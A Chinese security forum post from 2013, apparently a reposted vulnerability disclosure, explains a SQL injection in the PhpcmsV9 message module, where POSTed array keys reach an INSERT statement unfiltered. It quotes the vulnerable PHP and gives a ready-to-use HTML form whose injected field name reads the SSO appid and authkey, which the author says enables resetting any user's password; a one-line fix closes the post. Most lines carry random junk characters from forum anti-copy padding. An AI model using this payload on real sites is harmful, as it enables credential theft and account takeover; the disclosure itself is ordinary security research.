找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2242|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
2 v7 ~, r* Q! O: u) g* R
/ h' F+ _# G/ Z( S& i  V8 B3 }% B第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。6 D# n, c* ?! O# u' d  A( o
* E$ X5 g6 H& w# a( v
明天再更新下一个漏洞。# T: u, w8 f& _' D' s, E
详细说明:6 ]% N/ f, E/ G( J* U1 g( `
在/phpcms9/phpcms/modules/message/index.php中有代码如下:+ F; Z$ K  {4 P" b# V6 ^. ?

2 H( a  R/ v& ^5 {2 [5 s$messageid = $this->message_db->insert($_POST['info'],true);
% n$ d$ K/ K! V) f
) H% A- {5 v% ^  c' n2 i! u" N" d9 l: j& P/ ?
insert方法是key value的,代码如下:
' r, |+ }  q: U; L) e
2 H" x) z! D/ P  b+ ~' rpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
! `( R. k1 `3 j3 D' \: B9 h                if(!is_array( $data ) || $table == '' || count($data) == 0) {# |0 W# t" t- \( Q* x4 n
                        return false;5 ~% q  K# \/ x8 {  R
                }
( i8 p( X- g( Z; J3 v$ j/ O$ c* L6 m                1 A2 [; Z, A) F. U5 p
                $fielddata = array_keys($data);. v* N9 S' j  o8 @& d* r5 r( s
                $valuedata = array_values($data);
/ ^4 b3 N& c: J; u  D                array_walk($fielddata, array($this, 'add_special_char'));
8 c# W8 ^) B4 z+ o' q5 {3 o                array_walk($valuedata, array($this, 'escape_string'));& T5 G# q" `5 L
               
  c3 [( J# L1 u5 s6 C                $field = implode (',', $fielddata);, n0 x/ x( V: h& b) H5 k1 m; u
                $value = implode (',', $valuedata);
' |& W5 W% C7 E. [. ]. X3 j9 V
0 }( G) ]5 J; c1 F  L2 n- k                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';. n( Z2 m2 m0 y* @8 L9 A: `; }( b
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';7 v& E& K# _# m/ `8 ?) u5 A8 f. ^
                $return = $this->execute($sql);! f! k7 H2 [" \! U0 m- _  @; i
                return $return_insert_id ? $this->insert_id() : $return;
, s) j: b- D& M" v! d/ I* ?        }
3 Y- u: u) s1 [% @0 l4 ]" D  O+ g, l
, R1 v: {' \6 J3 R0 q; d7 n
嗯,很遗憾的是
0 Q0 ~. \; o+ R' f/ Z; {0 n& M4 R" ?6 _6 s/ Z
array_walk($fielddata, array($this, 'add_special_char'));
- V5 ~( c( h) {. p: H" o( P2 n- t! Z' k, O- A

; ~0 {+ l6 M# \+ N  H- e中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。5 L; Z% ]$ `8 O* G# Z

" m2 o! k0 k& ~9 W# ~& W到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。- c5 A" y6 R# _

. `; G% N# p8 y3 n, }漏洞证明:
  [" u0 z) ?8 w  N5 i+ t* S读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 @* G" Z) Q9 g
. j$ w9 L3 q. b5 F
; c0 \( C2 Z% D
表单如下:用户名什么的得自己改一改。
! [0 X* P+ c4 ]! u<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">8 ?! `- A) A" z! H9 ]1 \) ]
<table width="100%" cellspacing="0" class="table_form">
% y" e# _; C; ]+ k2 b. G8 `6 n<tr>5 |: C1 S& U8 T5 g  e. E5 p
<th>标 题:</th>6 ~# G/ }  p' X1 v% {5 i  ?' B
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>. G9 q, a* u3 ?6 j' K
</tr>   I* ^2 ?. T( z8 e  i& l4 m+ X2 c# s
<tr>
! I+ c6 H' W) _% d* W6 _" j3 g<th>内 容:</th>2 N0 \( S6 W: w$ J' Z9 ]# g
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>; J& R5 z1 R7 T" N+ O/ P) l
</tr>3 I. a+ y' |6 L. u& `, ~+ O7 u
<input type="hidden" name="info[replyid]" value="2" /> 3 f0 W+ ^4 C& M; e2 K
<input type="hidden" name="info[send_to_id]" value="cc" />
6 p+ ^, E# W  s8 t0 Z9 j3 o4 ?* C6 m<input type="hidden" name="info[send_from_id]" value="hh">7 D) U, Y5 O) S
<!-- 漏洞的利用重点在这里开始 -->9 q. `# t( {7 x
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ! r$ Q1 o- }7 L+ O& F  ^9 G  O3 z
<!-- 漏洞的利用重点在这里结束 -->
, P9 j! F7 p$ b7 Z' N! j5 G<tr>% \* [4 Q* i: y0 K
<th>验证码:</th>
- g6 F! V/ \. n1 A* }<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>( e2 b- M3 A8 V. ?$ p  p2 \0 Z
</tr>
3 V- I7 [1 g% w- D5 S6 ~4 e8 ?<tr>+ B6 W2 |( y& x) q
<td></td>: U3 x" b0 }2 Y
<td colspan="2"><label>
: w( x" V% w( @! p! ~! \" J$ ?: r<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>: v% G$ N9 I2 p+ K
</label></td>
6 ~+ C% k7 L& r1 T1 u  ?</tr>
- _! e- b" _' _; d3 j1 Z</table>0 t% Y* m1 n# p9 |+ d% Y
</form>) U4 R: a7 K" C% i2 J
在add_special_char函数内对key做过滤就可以了。
! r! x" g1 X" {: [4 f; b! R
: I$ H7 X2 C% `( M
, M8 u* ^8 D0 {- g9 y) `! S; r! a2 l  ?. _0 m; \1 U+ |) E0 q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表